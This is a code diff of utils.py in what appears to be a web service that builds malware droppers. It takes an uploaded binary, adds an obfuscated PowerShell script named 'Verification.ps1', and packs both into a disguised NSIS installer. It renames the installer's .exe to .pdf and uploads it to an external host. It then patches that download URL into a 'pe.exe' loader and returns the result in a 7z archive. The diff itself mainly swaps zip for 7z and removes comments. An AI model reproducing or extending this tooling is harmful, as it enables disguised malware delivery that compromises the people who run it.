Update utils.py

utils.py

@@ -8,7 +8,7 @@ import shutil
 import tempfile
 import requests
 import json
-import zipfile
+import py7zr  # Import the py7zr library
 
 BASE_DIR = os.path.abspath(os.path.dirname(__file__))
 UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
@@ -19,8 +19,6 @@ OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
 UPLOAD_URL = 'https://ambelo-benjamin.hf.space/upload'
 POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")
 
-
-
 def generate_random_string(length=8):
     return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
 
@@ -35,14 +33,12 @@ def obfuscate_powershell_script(ps1_path):
         process.stdin.flush()
         stdout, stderr = process.communicate()
 
-        # Log the stdout and stderr for debugging
         current_app.logger.info(f"Obfuscation script stdout: {stdout}")
         current_app.logger.error(f"Obfuscation script stderr: {stderr}")
 
         if process.returncode != 0:
             raise Exception(f"Error obfuscating PowerShell script: {stderr}")
         
-        # Check if the obfuscated file was created
         obfuscated_file = ps1_path.replace(".ps1", "_obf.ps1")
         if not os.path.exists(obfuscated_file):
             raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
@@ -51,15 +47,10 @@ def obfuscate_powershell_script(ps1_path):
     except Exception as e:
         raise Exception(f"Obfuscation failed: {str(e)}")
 
-        return obfuscated_file
-    except Exception as e:
-        raise Exception(f"Obfuscation failed: {str(e)}")
-
 def generate_nsi_script(folder_path, bin_file, ps1_file):
     timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
     installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
 
-    # NSIS script template
     NSIS_SCRIPT_TEMPLATE = r"""
     ; NeuraScope Insight Installer Script
     !include "MUI2.nsh"
@@ -124,17 +115,14 @@ def compile_nsi_script(nsi_file_path):
 
 def upload_file_to_server(file_path):
     try:
-        # Rename the .exe file to .pdf
         renamed_file_path = file_path.replace('.exe', '.pdf')
         os.rename(file_path, renamed_file_path)
         
-        # Upload the renamed file to the server
         with open(renamed_file_path, 'rb') as file:
             response = requests.post(UPLOAD_URL, files={'file': file})
         
         if response.status_code == 200:
             data = response.json()
-            # Assuming the server returns a 'file_url' key with the file URL
             filename = os.path.basename(renamed_file_path)
             fixed_url = f'https://ambelo-benjamin.hf.space/uploads/{filename}'  # Fixed URL format
             return fixed_url
@@ -154,7 +142,6 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
         with open(file_path, 'rb') as exe_file:
             data = exe_file.read()
 
-        # Try different encodings of the old URL
         encodings = ['utf-8', 'ascii', 'utf-16le']
         url_found = False
         for encoding in encodings:
@@ -166,7 +153,6 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
         if not url_found:
             raise ValueError(f"The URL {old_url} was not found in the executable using any common encoding.")
         
-        # Try different encodings for the old string
         string_found = False
         for encoding in encodings:
             old_string_bytes = old_string.encode(encoding)
@@ -177,15 +163,12 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
         if not string_found:
             raise ValueError(f"The string {old_string} was not found in the executable using any common encoding.")
 
-        # Replace the old URL with the new URL
         new_url_bytes = new_url_padded.encode(encoding)
         modified_data = data.replace(old_url_bytes, new_url_bytes, 1)
 
-        # Replace the old string with the new string
         new_string_bytes = new_string_padded.encode(encoding)
         modified_data = modified_data.replace(old_string_bytes, new_string_bytes, 1)
 
-        # Save the modified executable with a random name
         modified_file_path = os.path.join(os.path.dirname(file_path), generate_random_string() + ".exe")
         with open(modified_file_path, 'wb') as modified_file:
             modified_file.write(modified_data)
@@ -197,7 +180,6 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
 def process_request(request):
     temp_dir = None  # Initialize temp_dir to be used in the finally block
     try:
-        # Save the incoming binary file
         if 'file' not in request.files:
             raise ValueError("No file part in the request")
         
@@ -210,45 +192,35 @@ def process_request(request):
         bin_path = os.path.join(temp_dir, file.filename)
         file.save(bin_path)
 
-        # Extract the file name from the full binary path
         bin_file_name = os.path.basename(bin_path)
 
-        # Read the PowerShell content from the local file
         with open(POWERSHELL_FILE_PATH, 'r') as ps1_file:
             ps1_content = ps1_file.read()
 
-        # Replace the placeholder with the actual binary file name
         ps1_content = ps1_content.replace("{bin_file_name}", bin_file_name)
 
         ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
         with open(ps1_path, 'w') as ps1_file:
             ps1_file.write(ps1_content)
 
-        # Obfuscate the PowerShell script
         obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
 
-        # Check if the obfuscated file exists before renaming
         if not os.path.exists(obfuscated_ps1_path):
             raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
 
-        # Rename the obfuscated file to Verification.ps1
         verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
         os.rename(obfuscated_ps1_path, verification_ps1_path)
 
-        # Generate and compile the NSIS script
         nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
         compile_nsi_script(nsi_file_path)
 
-        # Upload the resulting EXE file (renamed to PDF) to the server
         download_url = upload_file_to_server(installer_output)
 
-        # Print the new string and new URL for debugging
         new_string = os.path.basename(download_url)
         new_url = download_url
         print(f"new_string: {new_string}")
         print(f"new_url: {new_url}")
 
-        # Replace URL in PE executable
         pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
         modified_pe_path = replace_url_in_exe(
             file_path=pe_exe_path,
@@ -258,19 +230,18 @@ def process_request(request):
             new_string=os.path.basename(download_url)
         )
 
-        # Zip the modified executable
-        zip_filename = generate_random_string() + ".zip"
-        zip_filepath = os.path.join(temp_dir, zip_filename)
-        with zipfile.ZipFile(zip_filepath, 'w') as zipf:
-            zipf.write(modified_pe_path, os.path.basename(modified_pe_path))
+        # Create a .7z archive with ultra compression and LZMA2
+        archive_filename = generate_random_string() + ".7z"
+        archive_filepath = os.path.join(temp_dir, archive_filename)
+        with py7zr.SevenZipFile(archive_filepath, 'w', filters=[{'id': 'LZMA2', 'preset': 9}]) as archive:
+            archive.write(modified_pe_path, os.path.basename(modified_pe_path))
 
-        # Return the zip file in the response
-        return send_file(zip_filepath, as_attachment=True, download_name=zip_filename)
+        # Return the .7z file in the response
+        return send_file(archive_filepath, as_attachment=True, download_name=archive_filename)
 
     except Exception as e:
         current_app.logger.error(f"An error occurred: {str(e)}")
         return jsonify({"error": str(e)}), 500
     finally:
-        # Clean up temporary directories and files
         if temp_dir and os.path.exists(temp_dir):
             shutil.rmtree(temp_dir, ignore_errors=True)